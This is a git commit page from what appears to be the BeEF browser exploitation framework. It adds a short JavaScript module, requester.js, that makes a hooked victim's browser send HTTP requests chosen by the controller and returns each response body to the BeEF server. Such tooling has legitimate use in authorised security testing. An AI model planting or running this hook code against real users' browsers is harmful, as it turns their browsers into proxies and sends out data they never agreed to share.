Moving nextgen from a branch to the trunk!!!
git-svn-id: https://beef.googlecode.com/svn/trunk@908 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
24
core/main/client/net/requester.js
Normal file
24
core/main/client/net/requester.js
Normal file
@@ -0,0 +1,24 @@
|
||||
/*!
|
||||
* @literal object: beef.net.requester
|
||||
*
|
||||
* request object structure:
|
||||
* + method: {String} HTTP method to use (GET or POST).
|
||||
* + host: {String} hostname
|
||||
* + query_string: {String} The query string is a part of the URL which is passed to the program.
|
||||
* + uri: {String} The URI syntax consists of a URI scheme name.
|
||||
* + headers: {Array} contain the operating parameters of the HTTP request.
|
||||
*/
|
||||
beef.net.requester = {
|
||||
|
||||
handler: "requester",
|
||||
|
||||
send: function(requests_array) {
|
||||
for (i in requests_array) {
|
||||
request = requests_array[i];
|
||||
beef.net.request('http', request.method, request.host, request.port, request.uri, null, null, 10, 'HTML', function(res) { beef.net.send('/requester', request.id, res.response_body); });
|
||||
}
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
beef.regCmp('beef.net.requester');
|
||||
Reference in New Issue
Block a user